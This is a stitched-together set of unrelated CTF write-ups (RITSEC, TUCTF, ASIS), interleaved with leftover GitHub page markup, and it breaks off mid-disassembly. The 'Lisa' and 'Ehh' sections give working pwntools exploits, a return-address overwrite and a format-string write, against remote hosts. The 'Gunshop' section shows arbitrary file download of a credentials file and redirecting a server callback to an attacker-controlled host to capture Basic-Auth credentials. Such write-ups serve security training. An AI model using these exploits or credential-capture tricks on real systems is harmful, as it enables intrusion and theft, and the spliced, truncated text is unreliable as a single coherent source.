</div> </div> </include-fragment> </div> <div id="readme" class="Box MD js-code-block-container js-code-nav-container js-tagsearch-file Box--responsive" data-tagsearch-path="2018/RITSEC-18/Web/Tangled Web/README.MD" data-tagsearch-lang="Markdown"> <div class="d-flex Box-header border-bottom-0 flex-items-center flex-justify-between color-bg-default rounded-top-2" > <div class="d-flex flex-items-center"> <h2 class="Box-title"> README.MD </h2> </div> </div> <div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1 dir="auto"></h1>-----------------------------------------------------------Challenge Name : Tangled Web-----------------------------------------------------------After surfing in the providing site with curl i came up to that page called Fl4gggg1337.And visited the link down the page called Stars.html.In that page there was base64 encoded paragraph again down the page of it.So i decrypted it and got the flag.</article> </div> </div> After surfing in the providing site with curl i came up to that page called Fl4gggg1337.And visited the link down the page called Stars.html.In that page there was base64 encoded paragraph again down the page of it.So i decrypted it and got the flag. </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
## dangerzone first we run strings to see the functions```$ strings dangerzone.pyc```./dangerzone.pyt**reverse**base64t**b32decode(**./dangerzone.pyR./dangerzone.pytreversePigLatin**rot13(**decode(./dangerzone.pyRSomething Something Danger Zones(**=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ(** ... seems like a reversed base32 ```echo '=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ' | rev | base32 -d | rot13 -d```put it in the right order```$ echo -e "str='UCTF{r3d_l1n3_0v3rl04d}T';print(str[-1::]+str[0:-1:])" | pythonTUCTF{r3d_l1n3_0v3rl04d}``` **TUCTF{r3d_l1n3_0v3rl04d}**
# Green Cabbage (for, 322p, 7 solved) A pretty random challenge.It was very simple "technically", but the hardest part was to guess what's going on there.We get a [pcap](Green_Cabbage.pcap) to analyse.The only interesting part is some communication with server `37.139.4.247` on port `31337`. Some base64 binary-looking payloads are sent back and forth.The server is up so we can try sending data as well, but without knowing what we're looking at it's a bit hard. One communication in the pcap is interesting, because it results in: ```BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBrrrrrrrrrrrrrrroBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBtrrrrrrrrrrrrrrrrrrrrrrrrrtBBBBBBBBBBBBBBBBBBBBBBBBBBBBBrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBBBBBBBBBBBBBBBrrrrrrrrrrrrrrrrrrrrrr rrrrrrrrrrrrBBBBBBBBBBBBBBBBBBBBrrrrrrrrrrrrrrrrrrrrrr rrrrrrrrrrrrrBBBBBBBBBBBBBBBBrrrrrrrrrrrrrrrrrrrrrrr rrrrrrrrrrrrrrrBBBBBBBBBBBBBrrrrrrrrrrrrrrrrrrrrrrr lrrrrrrrrrrrrrrrBBBBBBBBBBtrrrrrrrrrrrr rrrrrrrr rrrrrrrrrrrrrrrrroBBBBBBBBrrrrrrrrrrrl rrrrrrr rrrrrrrrrrrrrrrrrrBBBBBBBrrrrrrrrrrrr rrrrrr rrrrrrrrrrrrrrrrrrrBBBBBrrrrrrrrrrrr irrrrrr rrrrrrrr rrrrrrrrrrrBBBBrrrrrrrrrrr rrrrrr rrrrrrri rrrrrrrrrrBBBorrrrrrrrrrr rrrrri rrrrrr rrrrrrrrrroBBrrrrrrrrrrr rrrrrr rrrrrr rrrrrrrrrrrBBrrrrrrrrrrr rrrrrr rrrrrr rrrrrrrrrrrBBorrrrrrrrrr rrrrrr irrrrr rrrrrrrrrrroBBBrrrrrrrrrr irrrrrrr rrrrrr rrrrrrrrrrrBBBBrrrrrrrrrrr rrrrrrrr rrrrrri rrrrrrrrrrrrBBBBBrrrrrrrrrrrrrrrrrrr rrrrrr rrrrrrrrrrrrBBBBBBBrrrrrrrrrrrrrrrrrr rrrrrrr lrrrrrrrrrrrBBBBBBBBBrrrrrrrrrrrrrrrrr rrrrrrrr rrrrrrrrrrrroBBBBBBBBBBrrrrrrrrrrrrrrrl rrrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBBBBrrrrrrrrrrrrrrr rrrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBBBBBBBrrrrrrrrrrrrr rrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBBBBBBBBBBBrrrrrrrrrrrr rrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBBBBBBBBBBBBBBBrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBBBBBBBBBBBBBBBBBBBBorrrrrrrrrrrrrrrrrrrrrrrrrBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBrrroootttllliiiBBBBBBBBBBBBBBBBBBBBBB``` At some point one of our friends googled thr word in the bottom -> `Brrroootttllliii` and we found https://github.com/google/brotli with matching logo. We did a quick check and yes, the payloads are simply compressed with brotli.The only thing left was to communicate with the server: ```hi all, ********************send the exact time in epoch format please...``` Once we send the timestamp we get back the logo.Then: ```as you found that we are using Brotli compression algorithm for connectionin this task you should find a compressed string inside the given byte streamare you ready? [Y]es or [N]o ********************RJYafFyURxsp3r0D6jJVZibafFyURxsp3r0D6jJVZibafFyURxsp3r0D6jJVZibXcVwhats the message?**********``` Now this was very confusing because we didn't understand what is the goal here.We tried to do some cryptanalysis on this strange string, but eventually someone suggested that maybe we simply need to send this random string back.We did and we got the flag: `ASIS{Brotli_iz_the_b35t_lOssl3s5_c0mpr3ss1oN_algOr1thm___Ri9ht??}` Full solver [here](cabbage.py)
# Gunshop 1 (re/web, 273p, 10 solved) A two stage challenge, starting with an [obfuscated android app](GunShop.apk) There is some code to go through but eventually we can figure out that: 1. App is making requests to some host for endpoints `/sessionStart`, `/selectGun` and `/finalizeSession`. There is also and endpoint `/getFile?filename=`.2. App is encrypting payloads using `AES` and encoding them in base643. There initial encryption key is derived via: ```javaPackageInfo packageInfo = context.getPackageManager().getPackageInfo(str, 64);if (packageInfo.signatures.length == 1) { str2 = base64(MessageDigest.getInstance("SHA-256").digest(packageInfo.signatures[0].toByteArray())).substring(0, 16);}``` This is used to decrypt the target host and next AES key from the app resources: ```f18a = C0018m.decryptFile("configUrl", (Context) this);this.f22q = C0018m.decryptFile("configKey", (Context) this);``` We were unsure what exactly is used for SHA-256 so we checked all fingerprints from the app signatures, and we finally got the right one. This way we decrypt the key `123456789as23456` and host `https://darkbloodygunshop.asisctf.com`. At the same time we got the hostname also simply by sniffing the outgoing traffic.If we now run the app and try to login, we get error that `username not found in users_gunshop_admins.csv`. But we've seen the `getFile` endpoint so we can try: https://darkbloodygunshop.asisctf.com/getFile?filename=users_gunshop_admins.csv and we recover the passwords file. From this we get the credentials: `alfredo` and `YhFyP$d*epmj9PUz`. We can login to the mobile app now, but it doesn't really do much for us. Since we recovered the encryption key for the traffic, we can try to access the REST endpoinst on our own: ```pythons = requests.session()key = "123456789as23456"payload = json.dumps({"username": "alfredo", "password": "YhFyP$d*epmj9PUz", "device-id": "1235"})aes = AES.new(key, AES.MODE_ECB)payload = base64.b64encode(aes.encrypt(pad(payload)))r = s.post("https://darkbloodygunshop.asisctf.com/startSession", verify=False, data={"user_data": payload})result = r.text.decode("base64")result = aes.decrypt(result)[:-5]print(result)``` We form the same json payload as seen in the java code and running this gives us: ```json{"key": "9a533b1465af2b63de48494c93041d92", "deviceId": "1235", "flag1": "ASIS{d0Nt_KI11_M3_G4NgsteR}", "list": [{"pic": "1.jpg", "id": "GN12-34", "name": "Tiny Killer", "description": "Excellent choise for silent killers."}, {"pic": "2.jpg", "id": "GN12-301", "name": "Gru Gun", "description": "A magic underground weapon."}, {"pic": "3.png", "id": "GN12-1F52B", "name": "U+1F52B", "description": "Powerfull electronic gun. Usefull in chat rooms and twitter."}, {"pic": "4.jpeg", "id": "GN12-1", "name": "HV-Penetrator", "description": "The Gun of future."}, {"pic": "5.jpg", "id": "GN12-90", "name": "Riffle", "description": "Protect your self with me."}, {"pic": "6.png", "id": "GN12-21", "name": "Gun Shop Subscription", "description": "Subscription 1 month to gun shop."}, {"pic": "7.png", "id": "GN12-1002", "name": "GunSet", "description": "A Set of weapons, useful for assassins."}]}``` Which concludes the first part of the task with the flag `ASIS{d0Nt_KI11_M3_G4NgsteR}`. # Gunshop 2 (web, 304p, 8 solved) The second part starts where the first one finished.Now the traffic gets encrypted by the new `key` parameter we received in the json payload. We proceed with performing the same REST calls as the App normally does, we select a gun: ```pythonobj = json.loads(result)key = obj["key"].decode("hex") payload = json.dumps({"gunId": "GN12-21"})aes = AES.new(key, AES.MODE_ECB)payload = base64.b64encode(aes.encrypt(pad(payload)))r = s.post("https://darkbloodygunshop.asisctf.com/selectGun", verify=False, data={"user_data": payload})print(r.text)result = r.text.decode("base64")result = aes.decrypt(result)print(result)``` This gives us: ```json{"shop": {"name": "City Center Shop", "url": "http://188.166.76.14:42151/DBdwGcbFDApx93J3"}}``` So we got the host for the second flag.But if we try to access this URL is accepts only POST and there is Basic-Auth on top of it. The last thing that mobile App does is to call `/finalizeSession` endpoint passing the store `url`, which somehow submits our order.After some thinking we figured that maybe in fact the darkbloodygunshop webapp is sending a proper POST request to the shop we send as parameter.If so maybe it includes the credentials! We proceed with sending the request with our own URL waiting for data: ```pythonpayload = json.dumps({"shop": "our.host"})aes = AES.new(key, AES.MODE_ECB)payload = base64.b64encode(aes.encrypt(pad(payload)))s.post("https://darkbloodygunshop.asisctf.com/finalizeSession", verify=False, data={"user_data": payload})print(r.text)result = r.text.decode("base64")result = aes.decrypt(result)print(result)``` And yes, we receive a request: ```python{ "content-length": "30", "user-agent": "python-requests/2.20.1", "accept": "*/*", "accept-encoding": "gzip, deflate", "content-type": "application/x-www-form-urlencoded", "authorization": "Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6"}``` There is some POST body, but what we really want is basic auth payload `YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6` which decoded as base64 is `bigbrother:4Qj3rc4ZhNQKv7Rz`. If we now send request to the real shop with those credentials we get back a flag: `ASIS{0Ld_B16_br0Th3r_H4d_a_F4rm}`
# Welcome (re, 96p, 49 solved) In the challege we get a [virtual machine code](vo-interpreter.c) and a [flag checking program](welcome_task.voprotected.c) implemented on this VM. We're lazy so before trying to analyse VM or at least translate the challege code to some assembly-like representation, we simply compiled this and run: ```shalom@ubuntu:~/ctf/asis$ ./welcome Usage: program --left <num1> --right <num2>``` We quickly check and it seems the values passed as parameters have to be 0-9, otherwise we get an error.So there are only 100 options to check, not too much.If we pass random values we get: ```shalom@ubuntu:~/ctf/asis$ ./welcome --left 1 --right 2flag iS n0t {thankS f0r participating aSiSctf2ol8}Flag Flag Flag!``` We simply run this in a loop with all possible parameter:`python -c "[[__import__('os').system('echo %d %d;./welcome --left %d --right %d'%(left,right,left,right)) for left in range(10)] for right in range(10)]"` And we get for example:```9 9flag iS {vvelc0me_and_enj0y_aSiSctf20l8}Flag Flag Flag!``` And the flag is `ASIS{vvelc0me_and_enj0y_aSiSctf20l8}`
[](ctf=tu-ctf-2018)[](type=pwn)[](tags=rop)[](tools=radare2,gdb-peda,pwntools,python) # Lisa We are given a [binary](../lisa) which leaks a heap address and has a stack based buffer overflow allowing us to overwrite at most 1 byte of the saved return address. ```bashvagrant@amy:~/share/lisa$ file lisalisa: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7f2cd300a5518deec5cb00e27dae466022fdacd9, not stripped``` `PIE` and `NX` enabled. ```bashgdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : ENABLEDRELRO : Partial``` With these constraints, we can jump to the following locations: ```assembly...│ 0x00000d01 8d8340000000 lea eax, [ebx + 0x40] ; "4" ; '@'│ 0x00000d07 8b10 mov edx, dword [eax]│ 0x00000d09 8d8348000000 lea eax, [ebx + 0x48] ; 'H'│ 0x00000d0f 8b00 mov eax, dword [eax]│ 0x00000d11 6a2b push 0x2b ; '+' ; size_t nbyte│ 0x00000d13 52 push edx ; void *buf│ 0x00000d14 50 push eax ; int fildes│ 0x00000d15 e836f8ffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)│ 0x00000d1a 83c40c add esp, 0xc│ 0x00000d1d e89cfaffff call sym.checkPass│ 0x00000d22 b800000000 mov eax, 0│ 0x00000d27 8b5dfc mov ebx, dword [local_4h]│ 0x00000d2a c9 leave└ 0x00000d2b c3 ret...``` Essentially, we can jump to any location between `0xd00` and `0xdff`. The initial user input is conveniently stored in such a manner that when we return from the call to `sym.checkPass`, our initial input is stored on the top of the stack giving us full control with a ROP chain. One caveat though is that we don't have an infoleak to give us a binary address which is unfortunately necessary as the binary is compiled with `PIE`. ```assembly[0x000005f0]> pdf @sym.checkPass┌ (fcn) sym.checkPass 68│ sym.checkPass ();│ ; var int local_18h @ ebp-0x18│ ; CALL XREF from sym.main (0xd1d)│ 0x000007be 55 push ebp│ 0x000007bf 89e5 mov ebp, esp│ 0x000007c1 83ec18 sub esp, 0x18│ 0x000007c4 e863050000 call sym.__x86.get_pc_thunk.ax│ 0x000007c9 0537380000 add eax, 0x3837 ; '78'│ 0x000007ce 8d9040000000 lea edx, [eax + 0x40] ; "4" ; '@'│ 0x000007d4 8b12 mov edx, dword [edx]│ 0x000007d6 8d8044000000 lea eax, [eax + 0x44] ; 'D'│ 0x000007dc 8b00 mov eax, dword [eax]│ 0x000007de 52 push edx│ 0x000007df 50 push eax│ 0x000007e0 e8aeffffff call sym.doStrcmp│ 0x000007e5 83c408 add esp, 8│ 0x000007e8 85c0 test eax, eax│ ┌─< 0x000007ea 7407 je 0x7f3│ │ 0x000007ec e811000000 call sym.lisa│ ┌──< 0x000007f1 eb0c jmp 0x7ff│ ││ ; CODE XREF from sym.checkPass (0x7ea)│ │└─> 0x000007f3 8d45e8 lea eax, [local_18h]│ │ 0x000007f6 50 push eax│ │ 0x000007f7 e864ffffff call sym.fail│ │ 0x000007fc 83c404 add esp, 4│ │ ; CODE XREF from sym.checkPass (0x7f1)│ └──> 0x000007ff 90 nop│ 0x00000800 c9 leave└ 0x00000801 c3 ret``` If we can somehow call `sym.lisa`, we can print out the flag. The heap address which is leaked is the address of where the password to which the input is compared to is stored. By returning to the call to `read` in `main`, we can overwrite the stored password with 0x0 bytes allowing us to pass the password check and therefore calling `lisa`. ```bashvagrant@amy:~/share/lisa$ ./lisaHere's your share: 0x56bc7008What? The Mona Lisa!Look, if you want somethin' from me, I'm gonna need somethin' from you alright...``` Exploit: ```pythonfrom pwn import * context(arch='i386', os='linux')# p = process('./lisa')p = remote('18.191.244.121', 12345) p.recvuntil('share: ')leak = p.recvuntil('\n').strip()leak = int(leak, 16)heap_base = leak & 0xfffffff0 payload = ''payload += p32(0)payload += p32(leak)payload += p32(1)p.sendline(payload) payload = ''payload += 'a' * 24payload += 'cccc'payload += '\x15'payload = payload.ljust(0x2b, '\x00') p.send(payload)p.send('\x00') s = p.recv()print sp.interactive()``` Flag ```!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>'''''' !!!!!!!!!! ?$$$$$$$$$$$$??$c`$$$$$$$$$$$?>' `!!!!!!!!! `?$$$$$$I7?"" ,$$$$$$$$$?>>' !!!!!!!!!. <>'' `!!!!!!!!! <i?$P"??$$r--"?"" ,$$$$h;>'' `!!!!!!!!! $$$hccccccccc= cc$$$$$$$>>' !!!!!!!! `?$$$$$$F"""" `"$$$$$>>>'' `!!!!!!! "?$$$$$cccccc$$$$??>>>>' !!!!!!> "$$$$$$$$$$$$$F>>>>'' `!!!!!! "$$$$$$$$???>''' !!!!!!> `""""" `!!!!!!; . `!!!!!!! ?h.!!!!!!!! $$c,!!!!!!!!> ?$$$h. .,c!!!!!!!!! $$$$$$$$$hc,.,,cc$$$$$!!!!!!!!! .,zcc$$$$$$$$$$$$$$$$$$$$$$!!!!!!!!! .z$$$$$$$$$$$$$$$$$$$$$$$$$$$$!!!!!!!!! ,d$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ .!!!!!!!!! ,d$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ !!!!!!!!!!! ,d$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ,!'!!!!!!!!> c$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$. !'!!!!!!'' ,d$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$> '!!!'' z$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$>!' ,$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$> .. z$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$' ;!!!!''` $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F ,;;!'`' .'' <$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$> ,;'`' ,; `$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F -' ,;!!' "?$$$$$$$$$$?$$$$$$$$$$$$$$$$$$$$$$$$$$F . ""??$$$?C3$$$$$$$$$$$$$$$$$$$$$$$$"" ;!''' !!! ;!!!!;, `"''""????$$$$$$$$$$$$$$$$"" ,;-'' ',! ;!!!!;,;, .. ' . ' ' !!' ,;!!! ;'`!!!!!!!!;!!!!!; . >' .'' ; !!' ;!!'!';! !! !!!!!!!!!!!!! ' -' ;! ;> !' ; !! ' ' ;! > ! ' '```> TUCTF{wh0_pu7_7h47_buff3r_7h3r3?}
# LAXT (ppc, 145p, 49 solved) In the challenge we connect to the server and after solving Proof of Work get get: ```::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::| for a give number like 2018 please construct each integer from 0 to 100, with the || digits of it, for example: 96 = 12 * 8 + 0, 10 = 2 + 8 + 1 * 0 and 54 = 8**2 - 10 || you can also see the evaluation function for ervey provided expression like above || Your options: [E]valuation function for expressions [C]ontinue to solve the number for you in this task is n = 9178``` We can peek at the evaluation function too: ```pythondef laxt(expr, num): ops = ' %&()*+-/<>^|~' nude = expr.translate(None, ops) try: if set(nude) == set(num): flag, val = True, eval(expr) else: flag, val = False, None except: flag, val = False, None return flag, val``` So the goal is to use only digits provided in the challenge and operations ` %&()*+-/<>^|~` to create all numbers from 0 to 100. Judging by the flag there was some "trick" here, but we simply brute-forced the solution since we had to work with only a few digits. The solution is quite simple: 1. Test all permutations of the digits2. Test all possible positions of the parenthesis, but with correct order, so `(` has to be before `)`, and there has to be a number in between. There are so few digits it didn't seem necessary to consider more than 1 parenthesis.3. Test all possible choices for the operator between numbers, including a special `$` symbol which we later removed (this way we can glue digits together).4. Once the expression is constructed we eval is and compare to the number we're looking for. It's a bit wasteful - we could easily store values we "accidentally" already computed while looking for a different number, but the dataset is so small there is no real need for that. In the end the core of the solver is: ```pythondef calculate(number, i): ops = '$%&*+-/<>^|~' for perm in itertools.permutations(list(number)): for parenthesis1 in range(len(perm) - 1): for parenthesis2 in range(parenthesis1, len(perm) - 1): for op in itertools.product(list(ops), repeat=len(perm) - 1): equation = combine(perm, op, parenthesis1, parenthesis2) try: if eval(equation) == i: return equation except: pass print("No configuration found for " + str(number) + " " + str(i)) sys.exit(0)``` It doesn't always provide an answer, but after few runs it usually finds the answer for all values and gives the flag:`ASIS{~_iZ_U53fuL_un4rY_0per471On_:P!!!}` In hindsight it was a huge overkill since the server checker didn't actually verify that each number appears only once!We could have easily generate `1` by division of each number by itself and then combine them to get any number we want... Full solver [here](laxt.py)
[](ctf=tu-ctf-2018)[](type=pwn)[](tags=stack-canary)[](tools=radare2,gdb-peda,pwntools,python) # Ehh We are given a [binary](../ehh) which prints out the address of a variable and accepts user input. ```bashvagrant@amy:~/share/ehh$ file ehhehh: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d50965fb2cafc7eb26ecbce94385e870a05d02eb, not stripped``` The binary has a format string vulnerability which can be leveraged to overwrite the variable such that the constaint is satisfied. ```assembly... │ 0x000006f6 8b8328000000 mov eax, dword [ebx + 0x28] ; [0x28:4]=0x200034 ; '('│ 0x000006fc 83f818 cmp eax, 0x18│ ┌─< 0x000006ff 7512 jne 0x713│ │ 0x00000701 83ec0c sub esp, 0xc│ │ 0x00000704 8d83d2e7ffff lea eax, [ebx - 0x182e]│ │ 0x0000070a 50 push eax ; const char *string│ │ 0x0000070b e8b0fdffff call sym.imp.system ; int system(const char *string)│ │ 0x00000710 83c410 add esp, 0x10│ └─> 0x00000713 b800000000 mov eax, 0 ...``` Exploit: ```pythonfrom pwn import * context(arch='i386', os='linux')# p = process('./ehh')p = remote('18.222.213.102', 12345) p.recvuntil('here< ')leak = p.recvuntil('\n').strip()leak = int(leak, 16) target_len = 0x18target_fmt = '%6$n'buf_fmt = '%{}x'payload = ''payload += p32(leak)payload += buf_fmt.format(target_len - len(payload))payload += target_fmt p.sendline(payload)p.recvuntil('TUCTF')flag = 'TUCTF' + p.recvuntil('\n')log.success(flag)``` This gives us the flag> TUCTF{pr1n7f_15_pr377y_c00l_huh}
[](ctf=tu-ctf-2018)[](type=reversing)[](tags=malloc,memcpy)[](tools=radare2,gdb-peda) # Shoop We are given a [binary](../shoop) which accepts user input and validates it before printing the flag. ```bashvagrant@amy:~/share/shoop$ file shoopshoop: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2569da7d2c1014488a9a5fad953f7e6d1791125e, not stripped``` The disassembly can be viewed using a disassembler like `radare2`. ```assembly[0x00000990]> pdf┌ (fcn) main 518 ... │ ┌─< 0x00000a4b eb29 jmp 0xa76│ │ ; CODE XREF from main (0xa7a)│ ┌──> 0x00000a4d 8b45f0 mov eax, dword [nbyte]│ ╎│ 0x00000a50 2b45fc sub eax, dword [local_4h]│ ╎│ 0x00000a53 4898 cdqe│ ╎│ 0x00000a55 488d50ff lea rdx, [rax - 1]│ ╎│ 0x00000a59 488b45e0 mov rax, qword [s2]│ ╎│ 0x00000a5d 4801c2 add rdx, rax ; '#'│ ╎│ 0x00000a60 8b45fc mov eax, dword [local_4h]│ ╎│ 0x00000a63 4863c8 movsxd rcx, eax│ ╎│ 0x00000a66 488b45e8 mov rax, qword [buf]│ ╎│ 0x00000a6a 4801c8 add rax, rcx ; '&'│ ╎│ 0x00000a6d 0fb600 